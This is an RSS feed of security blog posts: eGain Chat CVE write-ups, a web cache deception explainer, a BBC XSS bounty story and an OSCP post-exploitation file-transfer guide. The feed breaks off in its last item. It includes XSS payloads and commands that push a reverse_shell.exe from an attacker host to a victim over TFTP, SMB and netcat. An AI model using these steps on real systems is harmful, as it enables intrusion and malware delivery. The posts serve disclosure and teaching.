<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by InfoSec Brothers on Medium]]></title>
        <description><![CDATA[Stories by InfoSec Brothers on Medium]]></description>
        <link>https://medium.com/@dr.spitfire?source=rss-9fab81879ce9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*bvWpBScqnuG8C-EJH7UQ8w.jpeg</url>
            <title>Stories by InfoSec Brothers on Medium</title>
            <link>https://medium.com/@dr.spitfire?source=rss-9fab81879ce9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 03:06:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dr.spitfire/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTML Injection: CVE-2019–13975]]></title>
            <link>https://medium.com/@dr.spitfire/html-injection-cve-2019-13975-a33aa8ad4d11?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a33aa8ad4d11</guid>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Mon, 29 Jul 2019 11:12:46 GMT</pubDate>
            <atom:updated>2019-09-04T07:27:21.287Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Product:</strong> eGain Chat (Version 15.0.3)</h3><p><strong>Vendor:</strong> eGain</p><p><strong>Vendor URL:</strong> <a href="http://www.egain.com/products/live-chat-software/">http://www.egain.com/products/live-chat-software/</a></p><p><strong>Bug:</strong> HTML Injection</p><p><strong>Exploitable:</strong> Yes</p><p><strong>Reported on:</strong> 11 October 2018</p><p><strong>Vendor Fixed Issue:</strong> 21 November 2018</p><p><strong>Description:</strong></p><p>It was observed that eGian chat is prone to an HTML-injection vulnerability. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, to conduct spoofing attacks or redirect the user to a malicious website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*AAwkYLyi8PUlg6k5QeihBA.png" /><figcaption><strong>Simple bold tag for demonstration</strong> &lt;b&gt;hello123456789&lt;/b&gt;</figcaption></figure><p><strong>Exploit:</strong></p><p>Create the login page within the chatbox of an agent that looked exactly like the login window when he first time logged in. The message was displayed that “Login again, to continue the chat”.</p><p>When the agent entered his credentials, the user id and password was sent to the local attacker’s machine.</p><p><strong>Business Risks:</strong></p><ol><li>Steal the credentials of an agent.</li><li>Redirect the agents to malicious sites.</li><li>Content spoofing and web interface defacement.</li></ol><p><strong>Solutions offered and implemented by a vendor:</strong></p><ol><li>Sanitize input given by the customer as well as agents in the chatbox.</li><li>Disable hyperlinks in the chatbox.</li><li>Allow only plain texts in the chatbox.</li></ol><p>More detail is available at <a href="https://cve.mitre.org/">https://cve.mitre.org</a></p><p>Thank you!!!!!!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a33aa8ad4d11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass File Upload Restrictions: CVE-2019–13976]]></title>
            <link>https://medium.com/@dr.spitfire/bypass-file-upload-restrictions-cve-2019-13976-35682bd1fdd3?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/35682bd1fdd3</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Mon, 29 Jul 2019 11:08:07 GMT</pubDate>
            <atom:updated>2019-09-04T07:29:36.693Z</atom:updated>
            <content:encoded><![CDATA[<h3>Product: eGain Chat (Version 15.0.3)</h3><p><strong>Vendor:</strong> eGain</p><p><strong>Vendor URL:</strong> <a href="http://www.egain.com/products/live-chat-software/">http://www.egain.com/products/live-chat-software/</a></p><p><strong>Bug:</strong> Bypass the restrictions implemented on file upload functionality</p><p><strong>Exploitable:</strong> Yes</p><p><strong>Reported on:</strong> 11 October 2018</p><p><strong>Vendor Fixed Issue:</strong> 21 November 2018</p><p><strong>The environment where the product was tested:</strong></p><p>eGain chat is the product developed by company eGain. The targeted customers of this company are small or large size organization which provides the customer support to their customers.</p><p>I was performing penetration testing for one of my clients in France. My client was one of the largest banks in France. When you look after the security of any bank, there is one rule, “No accepted business risk policy”. My client had implemented the best security policies when it comes to email exchange outside the organization, the best mechanism to check for malicious attachments coming via email from external sources to avoid all the kinds of malicious software (malware), viruses, remote code execution commands etc. However, if your organization is providing customer support and the software used by all the agents in customer support cannot guarantee the secure medium of communication, buying that product is useless.</p><p><strong>What was the vulnerability?</strong></p><p>eGain chat product comes with the facility of chat services where the employees (agents)of the organization working in customer support will communicate with the customers of an organization. There was an option where the customer can share the files with a chat agent. The eGain chat product had implemented the restrictions that a customer can share only text or pdf files. As an adversary, I was able to bypass that restriction and I was able to upload malicious files with all the extensions types that every organization is supposed to prevent from entering their premises. To my surprise, when I logged in as an agent, I was able to download those files on my machine with the same malicious extensions I had uploaded as a customer. It means there was only client-side validation implemented and no check was performed on the server-side or before serving that file in the chat agent’s window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*L1kitAbOEh270q7lPzE6XQ.png" /><figcaption><strong>Malicious file was uploaded after bypassing the restrictions</strong></figcaption></figure><p><strong>How the bypass was possible?</strong></p><ol><li>Create a malicious file with an extension that is accepted by the application.</li><li>Upload that file and click on send.</li><li>Capture the request in any proxy tool, edit the file extension to the malicious extension that you want. In some cases, you might need to change the content type of a file.</li><li>Forward the request to the server.</li></ol><p><strong>Exploits:</strong></p><p>The very first objection raised by Infosec assurance team was product was violating the policy implementation. The SOC was strong enough to make sure that no malicious attachment such as virus, time bomb, malware, files with formula in it (to protect attacker from executing machine level commands)should enter the organization via email attachments. All the software built-in bank premises were following the same policies. However, this product had given an opportunity to an attacker to send malicious files inside the premises. Some might think there is WAF to take care of this. But WAF works on the basis of signatures. Most of the times the WAF can be observed in the monitoring mode. Most of the times WAF checks for content type as per the request and passes the malicious file with whitelisted content types. In the best-case scenario, if everything is working fine, it is the best security practice as per <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">OWASP</a> to make sure the application has implemented whitelisting and blacklisting of file extension types as per the requirements.</p><p><strong>NOTE:</strong> Below exploits are written and demonstrated in the closed environments as a grey box pen-testing.</p><p><strong>Exploit: Try 1</strong></p><p>As the web application was using JSP I created a JSP file using the Metasploit module.</p><p><strong>Step 1:</strong> Send the test.jsp file to an agent chatting with you.</p><p><strong>Step2:</strong> Run the Metasploit multi-handler on the local system.</p><p><strong>Step 3:</strong> Open the test.jsp file in the browser.</p><p><strong>Step 4: </strong>Obtain shell or in case of windows a meterpreter shell.</p><p><strong>Exploit: Try 2</strong></p><p><strong>Step1:</strong> Write a code for a worm. (You will find many references online to write a code for invisible worm)</p><p><strong>Step2:</strong> Send the worm to the agent using the customer chat window.</p><p><strong>Step3:</strong> Considering WAF did not detect, as I was performing Grey box testing; the worm was delivered to a chat agent.</p><p><strong>Step4:</strong> Log in as a chat agent and download the file. As soon as the agent executes it, the malicious code gets executed.</p><p><strong>Exploit: Try 3</strong></p><p><strong>Step1:</strong> Create a file with a malicious formula in it.</p><p><strong>Step2:</strong> Send the file to the agent as a .csv extension.</p><p><strong>Step3:</strong> User opens the file after download and gets redirected to the malicious website.</p><p><strong>Business Risks:</strong></p><ol><li>Direct access to the agent’s local machine using a reverse shell.</li></ol><p>2. Infected computer systems of chat agents.</p><p>3. Remote command execution using CSV injection method.</p><p><strong>Solutions offered and implemented by a vendor:</strong></p><ol><li>Whitelist and blacklist extensions type as per the business requirement. Disable all the malicious extensions types.</li><li>Implement client-side as well as server-side validation on file types, content type.</li><li>Change the files extensions types once the file is uploaded.</li></ol><p>More detail is available on <a href="https://cve.mitre.org/">https://cve.mitre.org</a></p><p>Thank you!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35682bd1fdd3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sensitive Information Disclosure: Web Cache Deception Attack]]></title>
            <link>https://medium.com/@dr.spitfire/sensitive-information-disclosure-web-cache-deception-attack-bcac6cb9cd86?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcac6cb9cd86</guid>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Wed, 26 Jun 2019 07:55:16 GMT</pubDate>
            <atom:updated>2019-06-26T07:55:16.833Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Sensitive Information Disclosure: Web Cache Deception Attack</strong></p><p>Dear infosec community,</p><p>Great to see you back!!!</p><p>Thank you so much for sharing my last few write-ups on Twitter, LinkedIn and even on Facebook! Because of your encouragement and enormous support, I was able to see statistics of my story readers going high. This is huge for me!!!</p><p>In this write-up, I am going to explain to you guys another attack scenario known as “Web Cache Deception Attack”. Let’s understand it briefly.</p><blockquote><strong><em>Web Cache :</em></strong></blockquote><p>Did it ever occur to you that when you send the request to access some files such as .css, .js, .jpg and .txt sometimes, you get the response from the web server very quickly as compare to the requests you send in order to retrieve other data? Yes, if you have noticed, it happens. It happens because of the concept known as Cache. When we send the request, the server will categories the requests in two ways (in this context), request to access dynamic content and request to access static content. The files that I mentioned earlier comes under the category of static content. Websites often tend to use web cache functionality (for example over a <strong>CDN</strong>, a <strong>load balancer</strong>, or simply a <strong>reverse proxy</strong>). The purpose is simple: store files that are often retrieved such as static data files, to reduce latency from the web server.</p><p>Let’s understand what happens behind the wall in the eyesight of spitfire.</p><p>Consider a website, “<strong>http://www.example.com</strong>” is hosted behind the CDN, a load balancer or a reverse proxy. A user sends the request to access the home page of a website after login. A user sent a request “<strong>http://www.example.com/home.php</strong>”. A web server sends the response back to the user with the content that he/she gets after authentication. A user sends another request like, “<strong>http://www.example.com/files/abcd.css</strong>” and the server responds back. However, when the server sends back this request, the reverse proxy (deployed between the user and the web server) stores that data in its cache considering it as static content. When next time a user requests abcd.css file, reverse proxy will not send that request to the web server, instead, it will serve the user with the data that it had stored in its cache. Thus, the request for static data is not reaching the web server again. So, to sum up, given below is the actual scenario,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*YVcUk4-Qv7lb06L1.jpg" /></figure><p>I hope, I was able to explain the concept of reverse proxy or cache to all of you very briefly and very well. If you have understood this, let’s move ahead and I will explain to you the advantage the attacker takes keeping the concept of Web Cache in the mind.</p><blockquote><strong>Web Cache Deception:</strong></blockquote><p>As the attacker knows the website is hosted behind some kind of proxies, CDNs or load balancer. The attacker will access “<strong>http://example.com</strong>”. After the authentication, the attacker is getting the next page and that is “<strong>http://example.com/home.php</strong>”. The attacker will send a URL that will look like request to access the static web pages those are available to access to anyone even without authentication. So the crafted URL by the attacker is “<strong>http://example.com/home.php/test.css</strong>”. However, as there is no such web page, the web server responds back with the data for “<strong>http://example.com/home.php</strong>”. But the URL in the browser looks like “<strong>http://example.com/home.php/test.css</strong>”. So, in this scenario, the attacker is getting data for “<strong>http//example.com/home.php</strong>” even he has requested “<strong>http://example.com/home.php/test.css</strong>”. This is the best case scenario to test the web cache deception attack. Now, when the request from an unauthenticated source will go, the proxy server will not send that request to the Web server, instead, the proxy server will respond back with the data that must be seen only by the authenticated user. Given below is the scenario that is described by Omar Gil while describing his bug bounty <a href="https://medium.com/u/4c9920b6e879">PayPal Engineering</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G3Ku1eblUMFIILCe.png" /><figcaption><strong>Condition to test Web Cache Deception</strong></figcaption></figure><blockquote><strong>Web Cache Deception Attack by Spitfire</strong></blockquote><p>Please watch below video POC,</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FR1vIUhWa5zw%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DR1vIUhWa5zw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FR1vIUhWa5zw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/733eb8d9ae317cedddfda7301b5268e3/href">https://medium.com/media/733eb8d9ae317cedddfda7301b5268e3/href</a></iframe><p>After reporting above bug to <a href="https://medium.com/u/897bb054a8fb">Intuit</a>, <a href="https://medium.com/u/e4cdc2564bcf">Intuit QuickBooks</a>, I got the Hall of Fame from them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUJteGsOMoDVeMbYKqDfhA.png" /><figcaption><strong>Wasim Shaikh Will be here as long as the Intuit is there!</strong></figcaption></figure><p>I hope I have explained to you the concept of cache, how to find the cache deception vulnerability. Following are widely accepted suggestions to prevent or to fix the Web Cache Deception Vulnerability.</p><h3>Mitigation</h3><ol><li>Configure the cache mechanism to cache files only if their HTTP caching headers allow. That will solve the root cause of this issue.</li><li>If the cache component provides the option, configure it to cache files by their content type.</li><li>Configure the web server so that for pages such as <a href="http://www.example.com/home.php/non-existent.css">http://www.example.com/home.php/non-existent.css</a>, the web server doesn’t return the content of “home.php” with this URL. Instead, for example, the server should respond with a 404 or 302 response.</li></ol><p>To have a deep understanding of this attack scenario, please visit the following blog by Omar Gil.</p><p><a href="http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html">Web Cache Deception Attack</a></p><p>./RedirectYourselfToSomewhereElse</p><p>To know about my upcoming write-ups and to read them, follow me on Medium and Twitter: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><p>Thank you!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcac6cb9cd86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Fight For Duplicate Marked Bug: Story of BBC Hall Of Fame]]></title>
            <link>https://medium.com/@dr.spitfire/a-fight-for-duplicate-marked-bug-story-of-bbc-hall-of-fame-16f9c8215315?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/16f9c8215315</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[responsible-disclosure]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Thu, 20 Jun 2019 06:31:36 GMT</pubDate>
            <atom:updated>2019-06-20T06:31:36.150Z</atom:updated>
            <content:encoded><![CDATA[<p>I am writing this post not because I want to tell the Infosec community about my achievement of finding XSS on the BBC’s home page. It’s been days I am reading tweets and posts related to how the programs with “Responsible Disclosure” are cheating bug bounty hunters by marking their valid bug duplicate. Even the programs on Bugcrowd are trying to do the same nowadays. Following are some bug bounty hunters who have faced the stigma of duplicate bugs for a very good vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*c7DSvZdQCtMyeKtt5oa2Tw.png" /><figcaption><a href="https://twitter.com/satishkmr834">https://twitter.com/satishkmr834</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*G2o7VwWQt7l2OAwPleuROw.png" /><figcaption><a href="https://twitter.com/MrG0LEM">https://twitter.com/MrG0LEM</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*hDu3gQOYbya-wwIKsadH-g.png" /><figcaption><a href="https://twitter.com/Cache_Bounty">https://twitter.com/Cache_Bounty</a></figcaption></figure><p>Many of the bug bounty hunters don’t give up and keep hunting the bugs on same programs. But, in my opinion; if the program is marking any bug as a duplicate, it should provide the substantial shreds of evidence that the same vulnerability with same attack scenario was reported by other bug bounty hunter before him/her. I have seen <a href="https://medium.com/u/6f816e37be2c">HackerOne</a> following the policy of mentioning the report number of a report submitted by another bug bounty hunter. But, if the program is marking any bug duplicate without providing the evidence, stop hunting on the same program. Share how that program is cheating on you with your fellow security researchers and bug bounty hunters via Twitter and LinkedIn.</p><p>So, coming back to my story, I was hunting on BBC as I wanted my name in their Hall Of Fame list. I saw many bug bounty hunters have reported an XSS to BBC and they have patched XSS very well. I thought, let’s start by using Burp Suite’s intruder to fire the XSS payloads. I fired a few hundreds of XSS payloads that are mostly used to bypass WAF and to bypass implemented prevention measures for an XSS. I was out of luck. The best approach to find an XSS vulnerability is noticing how the application is responding back to your input. I noticed, the payload, <strong>“&lt;script&gt;alert(“Hacked By DrSpitfire”)&lt;/script&gt; </strong>was getting embedded in the value=”payload here”. After lots of tries, I got the idea to try to end the <strong>value=”payload here”</strong> tag. Thus, I started using payloads such as <strong>“”&lt;script&gt;alert(“Hacked By DrSpitfire”)&lt;/script&gt; </strong>and it did not work. After few tries the payload <strong>“&lt;script&gt;alert(“Hacked By DrSpitfire”)&lt;/script&gt;“&lt;script&gt;alert(“Hacked By DrSpitfire”)&lt;/script&gt; </strong>worked and I got the most awaited pop-up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*80wfGo3WxoGNjNABY9Yf8Q.png" /><figcaption>Magical Pop-Up!</figcaption></figure><p>I was happy that I will be there on BBC’s HOF listing. Without taking any break, I reported it to the BBC ( <a href="/service/mailo:security@bbc.co.uk"><strong>security@bbc.co.uk</strong></a>). However, I got the following response from their Information Security team,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjyNmNdjQDJScLH95OLz1A.png" /><figcaption>Reported <strong>Few Days</strong> Back?</figcaption></figure><p>I sent another email to the BBC and ask them to follow the transparency. I asked them to share the proofs that same finding was reported by another bug bounty hunter before me. After many days, I got a very polite reply stating that the issue was fixed and the bug was marked duplicate by mistake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFHxpUw7mtmh9mFCepOC-A.png" /><figcaption>Reported <strong>Very Shortly </strong>after me?</figcaption></figure><p>The point here is, I asked the program to follow the transparency and BBC Information security team was fair enough to take a stand. They had the courage to accept their mistake and to correct it as well. However, many programs are not doing that. I have seen bug bounty hunters submitting P1 issues and very critical security vulnerabilities to the program and getting a response as a duplicate bug. These programs even do not participate in further communication with the security researcher. Thus, in my opinion, there is no point in wasting precious time on programs like this. There is a need to expose these programs on LinkedIn and Twitter so that they will start following the rules before marking any submission duplicate. Let’s work together to fight with programs with abhorrent “Responsible Disclosure”.</p><p>Finally, after a day, my name was up there on BBC’s Hall Of Fame List.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUVKFNTXC0wkH9e5S0y4pw.png" /><figcaption>Wasim Shaikh Will be here as long as the BBC is there!</figcaption></figure><p>./SigningOff</p><p>Thank you!</p><p>You can follow me on Twitter: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16f9c8215315" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OCSP: FILE TRANSFER RECIPE FOR DELICIOUS POST EXPLOITATION]]></title>
            <link>https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-a407e00f7346?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a407e00f7346</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp-vulnhub]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
            <pubDate>Wed, 19 Jun 2019 07:22:11 GMT</pubDate>
            <atom:updated>2019-06-19T07:22:11.843Z</atom:updated>
            <content:encoded><![CDATA[<p>PART 2:</p><p>If you did not read my previous write-up, please visit below link to read part 1,</p><p>Link: <a href="https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-832331cffd9f?sk=bb840302e5dcbd7ded5892148bc4a78d">https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-832331cffd9f?sk=bb840302e5dcbd7ded5892148bc4a78d</a> <br><br> Please keep in mind the below preamble to understand this write-up better,</p><p>TFTP is also known as Trivial File Transfer Protocol which runs on port number 69. TFTP protocol does not need any authentication like we used in FTP (anonymous:any_password). TFTP does not perform error detection regarding file sharing. This is because TFTP works on UDP. Thus, TFTP is faster than FTP. TFTP often used for transferring files such as audios, videos and images.<br><strong>Step A: Setting a Server on the Attacker’s Machine </strong><br> TFTP comes by default in Kali Linux. The name of the package is “atftpd”. Let me explain where is the local directory for a TFTP Server in Kali Linux.</p><p><strong>A.1: Finding Local Directory of Server. </strong>The default local directory for TFTP server is “/srv/tftp”. Thus, copy all the files you want to share by using TFTP protocol to the local directory of the server. Please see below screenshot, I have copied/kept reverse_shell.exe file at /srv/tftp directory.</p><p><strong>root@kali:~# cd /srv/tftp</strong></p><p><strong>root@kali:/srv/tftp# dir</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*YQ7W_h-6Ig5Q_VCA.PNG" /></figure><p><strong>A.2: Starting/ Running a Server</strong> <br> There are two ways of setting a server in Kali Linux. One is using “atftpd” package that comes by default and second is using Metasploit’s TFTP module.<br> To start the TFTP server on Kali Linux, all you need is hit below command.</p><p><strong>root@kali:~# service atftpd start</strong> Please see below screenshot. I have started tftp server on Attacker’s machine and IP address of the attacker’s machine is shown in below screenshot,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*qWe3XOLEnKG6KEPW.PNG" /></figure><p>Next method is using Metasploit. Starting and running a server using Metasploit’s TFTP module is also very simple. Follow below command, <br> root@kali:/# msfconsole</p><p><strong>msf &gt; use auxiliary/server/tftp</strong></p><p>msf auxiliary(server/ftp) &gt; run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*hTULv1aEFAh6PP-8.PNG" /></figure><p><strong>Step B: Downloading Files on Victim’s Machine </strong><br> Next step here is to download the files from TFTP server on the victim’s machine. But, before going ahead, we need to find if we have TFTP client on our victim’s machine or not.<br> In Windows XP, TFTP comes by default and enabled by default as well. However, this is not the case with a higher version of Windows. In Windows 7 and above, TFTP comes by default but you need to enable it manually.<br> For this write-up, I am using Windows 7. Thus, I will enable TFTP manually. To achieve that, hit below command,</p><p>Now, we have activated TFTP protocol on our victim machine. We are all set to download the file. <strong>C:\&gt; pkgmgr /iu:”TFTP”</strong> <br> To download file on victim’s machine, please use below command in Windows terminal.</p><p>Please see below screenshot. I have downloaded file revserse_shell.exe from the attacker’s machine to the victim’s machine. <strong>C:\&gt;tftp -i IP_Address GET reverse_shell.exe</strong></p><p><strong>C:\Users\SPITFIRE&gt; tftp -i 192.168.1.14 reverse_shell.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*1wwBRtOnOuBvwice.PNG" /></figure><p>One point to note here is, you will get files copied to the directory on victim’s machine from where you have initiated TFTP protocol. Just like when I hit command from “C-USERS-SPITFIRE”, I got file reverse_shell.exe at same directory. Similarly, when I used Metasploit’s TFTP Module to start the server, I used the same local directory on the attacker’s machine that is /srv/tftp. However, I changed my location at victim’s machine from where I had initiated the TFTP protocol. <br><strong>C:\Users\SPITFIRE\Music&gt;tftp -i 192.168.1.14 GET reverse_shell.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*jXPC2f2D2pg5YElM.PNG" /></figure><p>In the above screenshot, I have got the reverse_shell.exe file at C:\Users\SPITFIRE\Music&gt;. <strong>4. Using SMB Protocol </strong>The Server Message Block ( SMB ) Protocol is a network file sharing protocol , and as implemented in Microsoft Windows is known as Microsoft SMB Protocol . SMB Protocol runs on port 445 by default. SMB is built into Windows and doesn’t require any special commands as Windows understands UNC paths. You can simply use the standard copy and move commands and SMB handles the file transferring automatically for you. What’s even better is Windows will actually let you execute files via UNC paths, meaning you can download and execute a payload in one command! File transfer using the SMB protocol is very simple. Please follow below steps A and B. As I said earlier, Kali Linux is our attacker’s machine. Python comes with SMB server by default. Thus, we can use “smbserver.py” module of Python. In order to check whether you have “smbservr.py” module installed on your machine or not, use below command, <strong>Step A: Setting a Server on the Attacker’s Machine root@kali:~# locate smbserver.py</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*fh3nM71-VHh_0K4L.PNG" /></figure><p>Once we are sure that smbserver.py module of Python is available on our machine, the next step is finding the local directory and keeping all the files that we need to send to the victim’s machine in that local directory.</p><p>As shown in above screenshot, /usr/share/doc/python-impacket/examples/ is the directory where smbserver.py is located. Thus, we will consider it as our local directory. However, remember we had set local directory explicitly using TFTPROOT command in Metasploit’s TFTP module? Exact same way, Python SMB server gives us an option to define local directory. We can use SPITFIRE (root folder) to set the local directory.</p><p>As mentioned above, we can set a local directory using SPITFIRE root folder at the same time we can start an SMB server of Python. To start the Python’s SMB server, go to the directory where the smbserver.py file is placed and hit “smbserver.py” command to start it. You can follow below commands, <strong>root@kali:~# cd /usr/share/doc/python-impacket/examples</strong></p><p><strong>root@kali:/usr/share/doc/python-impacket/examples#python smbserver.py SPITFIRE /usr/share/doc/python-impacket/examples</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*cN6HoEDSryS3iEFh.PNG" /></figure><p>As shown below, I have copied files that I want to send to victim’s machine. reverse_shell.exe file is kept at /usr/share/doc/python-impacket/examples</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*XvKthtXmZKED7MXk.PNG" /></figure><p>We have started the SMB server on the attacker’s machine. The last step is to fetch them from the victim’s machine.</p><p><strong>Step B: Downloading Files on Victim’s Machine</strong></p><p>We have started SMB server on port 445 by default. Let’s confirm from our victim’s machine. Using net view command in windows, we can confirm the running SMB server on any IP_Address. To confirm,</p><p><strong>C:\Users\SPITFIRE&gt;net view \\192.168.1.14</strong></p><p>Also, we can check what are the directories and folder are there on respective SMB server.</p><p><strong>C:\Users\SPITFIRE&gt;dir \\192.168.1.186\SPITFIRE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*O_hm6C-TaT8REL4m.PNG" /></figure><p>And now, the final step is getting reverse_shell.exe file from the attacker’s machine to the victim’s machine.</p><p><strong>C:\Users\SPITFIRE&gt;copy \\192.168.1.14\SPITFIRE\reverse_shell.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*1MnTpEL5PWhZ5tXd.PNG" /></figure><p>As shown in the above screenshot, reverse_shell.exe file will be downloaded from attacker’s machine into the victim machine at location/directory from where we hit copy command. Just like in the above case, reverse_shell.exe file is copied at C-&gt;Users-&gt;SPITFIRE.</p><p>The last method that I am going to explain here is the use of Netcat for file transfer. This is the most simple way to share the files between the attacker’s machine and the victim’s machine. Here I am going to change my way of explanation as it is just a two-step process. In this step, you are supposed to configure the listener on the victim’s machine with port and name of the file you want on the victim’s machine. For that, all you need is Netcat set up on your victim’s machine. Windows machine does not come with netcat.exe by default. Download it from the internet. Keep that file nc.exe on Desktop. Go to Desktop by navigating directory and hit below command, <strong>Step1: Configure the listener on the Victim’s machine</strong> Above command will make victim’s machine to start listening on local port 1234. Now you can serve the reverse_shell.exe file from your Kali Machine on port 1234 of Victim’s machine with IP Address 192.168.1.8. Use below command to achieve that. <strong>C:\Users\SPITFIRE\Desktop&gt; nc -nlvp 1234 &gt;reverse_shell.exe root@kali:~# nc -nv 192.168.1.14 1234 var/www/html/reverse_shell.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*zuixh4xRRbsFoFgG.PNG" /></figure><p>As soon as you hit the above command in Kali Linux machine, you will find a listener that we configured on victim’s machine has got reverse_shell.exe. As we had started netcat from Desktop, we will get reverse_shell.exe file on Desktop of victim’s machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*OsujVIZpb6-M2Szn.PNG" /></figure><p>Please comment for any suggestions, bits of advice; always welcome! Stay in touch to read about more interesting information about bug bounty, penetration testing and Infosec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*SVxkZTAzPOSr3fMu.jpg" /></figure><p>You can follow me on Twitter to read my upcoming blogs: <a href="https://twitter.com/Wa_sim_sim">https://twitter.com/Wa_sim_sim</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a407e00f7346" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OCSP: FILE TRANSFER RECIPE FOR DELICIOUS POST EXPLOITATION]]></title>
            <link>https://medium.com/@dr.spitfire/ocsp-file-transfer-recipe-for-delicious-post-exploitation-832331cffd9f?source=rss-9fab81879ce9------2</link>
            <guid isPermaLink="false">https://medium.com/p/832331cffd9f</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp-vulnhub]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[InfoSec Brothers]]></dc:creator>
